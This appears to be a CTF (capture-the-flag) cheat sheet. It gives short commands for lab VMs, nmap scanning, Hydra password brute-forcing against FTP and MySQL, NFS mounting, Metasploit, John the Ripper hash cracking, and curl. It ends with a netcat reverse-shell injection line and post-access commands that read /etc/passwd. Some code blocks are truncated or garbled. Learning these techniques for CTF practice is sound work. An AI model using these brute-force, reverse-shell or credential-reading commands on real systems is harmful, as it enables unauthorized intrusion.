

CTF

Daniel Hiller

November 6, 2021

Contents

1	Introduction	2
1.1	Contributing	2
1.2	License	2
2	VM	3
2.1	QEMU	3
3	Exploiting Network Services	3
3.1	GitHub Repos	3
3.2	Bash	3
3.3	Find	3
3.4	SSH	3
3.5	NMAP	4
3.6	FTP	4
3.6.1	Hydra	4
3.7	NFS	4
3.8	SMTP	5
3.9	Metasploit	5
3.10	MySQL	5
3.11	Jon the Ripper	6
4	Web Fundamentals	6
4.1	Curl	6
4.2	Reverse Shell	6

CTF

1 Introduction

1.1 Contributing

Found an error or have a suggestion? Please open an issue on GitHub (github.com/dentremor/Software-Defined-Infrastrucure):



Figure 1: QR code to source repository

1.2 License



Figure 2: AGPL-3.0 license badge

Software Defined Infrastructure (c) 2021 Daniel Hiller and contributors
SPDX-License-Identifier: AGPL-3.0

2 VM

2.1 QEMU

To create a disk image run the following command:

```
qemu-img create -f qcow2 disk.qcow2 64G
```

The VM can be executed with a bash script (remove Image.iso with the distro image of your choice):

```
#!/bin/bash
```

```
qemu-system-x86_64 -enable-kvm -m 4096 -smp $(nproc) -cpu host -device ac97 -audiodev alsa,
```

If you also have a 4k-panel, you probably will face some scaling issues like me.
In that case make sure you use Wayland instead of X11.

3 Exploiting Network Services

3.1 GitHub Repos

SecLists: <https://github.com/danielmiessler/SecLists>

3.2 Bash

Run a bashscript with persistent permissions:

```
$ ./bashscript -p
```

*(-p = persists the permissions)

3.3 Find

Find a file in a specific directory:

```
$ find / -name "*smtp_version"
```

*(/
-name = directory where the search recursively starts
= only show matching results
[para] = search-parameter to match)

3.4 SSH

Authenticate via ssh with the key-file id_rsa:

```
$ ssh -i id_rsa user@10.10.10.10
```

*(-i [file] = Identity file)

3.5 NMAP

Checks open ports in defined range and check running services with Nmap:

```
$ nmap 10.10.221.8 -sV -p 0-60000

*(-p- = Scans the whole portrange
  -p   = Specific port or portrange
  -sV  = Attempts to determine the version of the service running on port
  -A   = Enables OS detection, version detection, script scanning and traceroute)
```

3.6 FTP

Download a File from an FTP-Server with Wget:

```
$ wget -m ftp://user:password@ftp.example.com

*(-m = --mirror)
```

3.6.1 Hydra

Use Hydra for cracking password in our example on an FTP-Service:

```
$ hydra -t 4 -l dale -P /usr/share/wordlists/rockyou.txt -vV 10.10.10.6 ftp

*(-t 4      = Number of parallel connections per target
  -l [user] = Points to the user who's account you're trying to compromise
  -P [file] = Points to the file containing the list of possible passwords
  -vV       = Very verbose: shows the login+pass combination for each attempt
  [IP]      = The IP address of the target machine
  [ftp]     = Sets the protocol)
```

3.7 NFS

List name or NFS shares:

```
$ /usr/sbin/showmount -e [IP]

*(-e      = Shows the NSF server's export list
  [IP]    = The IP Address of the NFS server)
```

Connect NFS share with mount point on our machine:

```
$ sudo mount -t nfs IP:share /tmp/mount/ -nolock

*(-t nfs    = Type of device to mount, then specifying that it's NFS
  IP:share  = The IP Address of the NFS server, and the name of the share we wish to mount
  -nolock   = Specifies not to use NLM locking)
```

3.8 SMTP

There are three relevant commands, when it comes to SMTP:

```
(VRFY      = Confirming the names of valid users
EXPN       = Reveals the actual address of user's aliases and lists of e-mail (mailing lists)
RCPT TO    = Specifies the e-mail address of the recipient)
```

3.9 Metasploit

```
*(search [name]           = Search for a module and his description
  use [name]              = Selects a module by name
  options                 = When a module is selected we will see the options of the module
  set [option] [parameter] = Set a specific option with a specific parameter
  run                    = Run the exploit)
```

For further information see the following documentation: <https://www.offensive-security.com/metasploit-unleashed/msfconsole-commands/>

3.10 MySQL

First we need a client, which is in our case default-mysql-client:

```
$ mysql -h [IP] -u [username] -p

*(-h [IP]          = Connect to the MariaDB server on the given host
  -u [username]    = The MariaDB user name to use when connecting to the server
  -p              = The password to use when connecting to the server)
```

If we do not have any credentials we can use Nmap or Metasploit to gain this information:

```
```bash
$ nmap --script=mysql-enum [target]

*(--script=mysql-enum = Scan with a single script: mysql-enum
 [target] = The IP address of the target)
```

Now that we know some usernames of the database, we can try to crack the passwords of them with Hydra:

```
hydra -t 16 -l root -P /usr/share/wordlists/rockyou.txt -vV 10.10.6.199 mysql

*(-t 16 = Number of parallel connections per target
 -l [user] = Points to the user who's account you're trying to compromise
 -P [file] = Points to the file containing the list of possible passwords
 -vV = Very verbose: shows the login+pass combination for each attempt
 [IP] = The IP address of the target machine
 [mysql] = Sets the protocol)
```

### 3.11 Jon the Ripper

If we have a hash which look something like the following example:

```
carl:*EA031893AA21444B170FC2162A56978B8CEECE18
```

We can pipe the hash in a file:

```
$ echo carl:*EA031893AA21444B170FC2162A56978B8CEECE18 > hash.txt
```

And crack the password with John the Ripper:

```
$ john hash.txt
```

```
$ john --show --format=RAW-MD5 hash.txt
```

```
*(--show = show cracked passwords
```

```
--format=<param> = force hash type: descrypt, bsdict, md5crypt, RAW-MD5, bcrpt, LM, A
```

## 4 Web Fundamentals

### 4.1 Curl

If we want to get sources of a webpage, we can do this with Curl:

```
$ curl -X GET http://10.10.4.59:8081/ctf/post
```

```
*(-X [GET] = Set kind of fetch
```

```
[target] = The URL of the webpage we want to fetch
```

```
-d [param] = Sends the specified data in a POST request to the HTTP server)
```

CEWL password list generator.

WPSCAN scans the Word Press version.

Gobuster is a tool used to brute-force URIs including directories and files as well as DNS subdomains.

DIRB is a Web Content Scanner. It looks for existing (and/or hidden) Web Objects.

### 4.2 Reverse Shell

```
$;nc -e /bin/bash
```

For more information checkout the following GitHub repo: <https://github.com/swisskyrepo/PayloadsAllTheThings>

If you gain access depending on the OS you can try the following commands to get more information: >Linux

```
$ whoami
```

```
$ id
```

```
$ ifconfig/ip addr
```

```
$ uname -a # print system information
```

```
$ ps -ef # -e = select all processes -f = do full-format listing
$ less /etc/passwd # usernames with UID, GID, GECOS, home directory and login shell
$ cut -d: -f1 /etc/passwd # only usernames
$ cat /etc/os-release # Get information about the OS and the OS version
```

#### Windows

```
$ whoami
$ ver
$ ipconfig
$ tasklist
$ netstat -an
```